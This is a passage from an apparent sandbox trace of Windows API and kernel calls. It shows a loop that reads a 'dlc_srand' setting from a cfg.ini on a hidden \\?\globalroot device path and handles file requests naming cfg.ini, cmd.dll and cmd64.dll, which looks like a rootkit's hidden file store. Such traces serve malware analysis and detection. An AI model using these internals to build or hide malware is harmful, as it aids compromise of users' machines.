(dwMilliseconds=0x124f80) [0128.662] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.662] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.662] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.662] KeEnterCriticalRegion () [0128.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.662] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.662] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.662] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.662] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.662] IdePortDispatch () returned 0x103 [0128.663] KeWaitForMutexObject () returned 0x0 [0128.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.663] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.663] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.663] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.663] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.663] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe510 [0128.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.663] KeLeaveCriticalRegion () [0128.663] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.663] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.663] KeEnterCriticalRegion () [0128.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.663] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.663] KeLeaveCriticalRegion () [0128.663] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.663] KeEnterCriticalRegion () [0128.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.663] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.663] IdePortDispatch () returned 0x103 [0128.663] KeWaitForMutexObject () returned 0x0 [0128.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.663] KeLeaveCriticalRegion () [0128.663] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.664] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.664] KeEnterCriticalRegion () [0128.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.664] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a04000 [0128.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.664] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.664] IdePortDispatch () returned 0x103 [0128.664] KeWaitForMutexObject () returned 0x0 [0128.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.664] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.664] IdePortDispatch () returned 0x103 [0128.664] KeWaitForMutexObject () returned 0x0 [0128.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.664] KeLeaveCriticalRegion () [0128.664] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.665] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.665] KeEnterCriticalRegion () [0128.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.665] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.665] KeLeaveCriticalRegion () [0128.665] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.665] KeEnterCriticalRegion () [0128.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.665] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.665] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c00510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.665] KeLeaveCriticalRegion () [0128.665] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.665] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.665] KeEnterCriticalRegion () [0128.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.665] ExFreePoolWithTag (P=0xfffffa8003bfe510, Tag=0x0) [0128.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.665] KeLeaveCriticalRegion () [0128.665] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.665] ReleaseMutex (hMutex=0xf0) returned 1 [0128.665] Sleep (dwMilliseconds=0x124f80) [0128.679] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.679] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.679] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.679] KeEnterCriticalRegion () [0128.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.679] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.679] IdePortDispatch () returned 0x103 [0128.679] KeWaitForMutexObject () returned 0x0 [0128.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.680] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.680] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.680] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.680] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.680] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00110 [0128.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.680] KeLeaveCriticalRegion () [0128.680] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.680] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.680] KeEnterCriticalRegion () [0128.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.680] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.680] KeLeaveCriticalRegion () [0128.680] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.680] KeEnterCriticalRegion () [0128.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.680] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.680] IdePortDispatch () returned 0x103 [0128.680] KeWaitForMutexObject () returned 0x0 [0128.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.680] KeLeaveCriticalRegion () [0128.680] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.680] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.680] KeEnterCriticalRegion () [0128.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.680] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b09000 [0128.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.681] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.681] IdePortDispatch () returned 0x103 [0128.681] KeWaitForMutexObject () returned 0x0 [0128.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.681] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.681] IdePortDispatch () returned 0x103 [0128.681] KeWaitForMutexObject () returned 0x0 [0128.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.681] KeLeaveCriticalRegion () [0128.681] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.682] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.682] KeEnterCriticalRegion () [0128.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.682] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.682] KeLeaveCriticalRegion () [0128.682] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.682] KeEnterCriticalRegion () [0128.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.682] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.682] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c003c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.682] KeLeaveCriticalRegion () [0128.682] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.682] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.682] KeEnterCriticalRegion () [0128.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.682] ExFreePoolWithTag (P=0xfffffa8003c00110, Tag=0x0) [0128.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.682] KeLeaveCriticalRegion () [0128.682] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.682] ReleaseMutex (hMutex=0xf0) returned 1 [0128.682] Sleep (dwMilliseconds=0x124f80) [0128.697] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.697] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.697] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.697] KeEnterCriticalRegion () [0128.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.697] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.697] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.697] IdePortDispatch () returned 0x103 [0128.698] KeWaitForMutexObject () returned 0x0 [0128.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.698] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.698] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.698] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.698] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.698] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe510 [0128.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.698] KeLeaveCriticalRegion () [0128.698] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.698] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.698] KeEnterCriticalRegion () [0128.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.698] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.698] KeLeaveCriticalRegion () [0128.698] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.698] KeEnterCriticalRegion () [0128.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.698] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.698] IdePortDispatch () returned 0x103 [0128.698] KeWaitForMutexObject () returned 0x0 [0128.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.699] KeLeaveCriticalRegion () [0128.699] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.699] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.699] KeEnterCriticalRegion () [0128.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.699] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0e000 [0128.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.699] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.699] IdePortDispatch () returned 0x103 [0128.699] KeWaitForMutexObject () returned 0x0 [0128.699] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.699] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.699] IdePortDispatch () returned 0x103 [0128.699] KeWaitForMutexObject () returned 0x0 [0128.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.699] KeLeaveCriticalRegion () [0128.699] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.700] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.700] KeEnterCriticalRegion () [0128.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.700] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.700] KeLeaveCriticalRegion () [0128.700] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.700] KeEnterCriticalRegion () [0128.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.700] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.700] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01e80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.700] KeLeaveCriticalRegion () [0128.700] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.700] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.700] KeEnterCriticalRegion () [0128.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.700] ExFreePoolWithTag (P=0xfffffa8003bfe510, Tag=0x0) [0128.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.700] KeLeaveCriticalRegion () [0128.700] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.700] ReleaseMutex (hMutex=0xf0) returned 1 [0128.700] Sleep (dwMilliseconds=0x124f80) [0128.716] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.716] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.716] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.716] KeEnterCriticalRegion () [0128.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.716] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.716] IdePortDispatch () returned 0x103 [0128.716] KeWaitForMutexObject () returned 0x0 [0128.716] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.716] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.716] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.716] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.716] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.716] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00500 [0128.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.716] KeLeaveCriticalRegion () [0128.716] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.716] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.716] KeEnterCriticalRegion () [0128.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.716] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.716] KeLeaveCriticalRegion () [0128.716] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.716] KeEnterCriticalRegion () [0128.716] 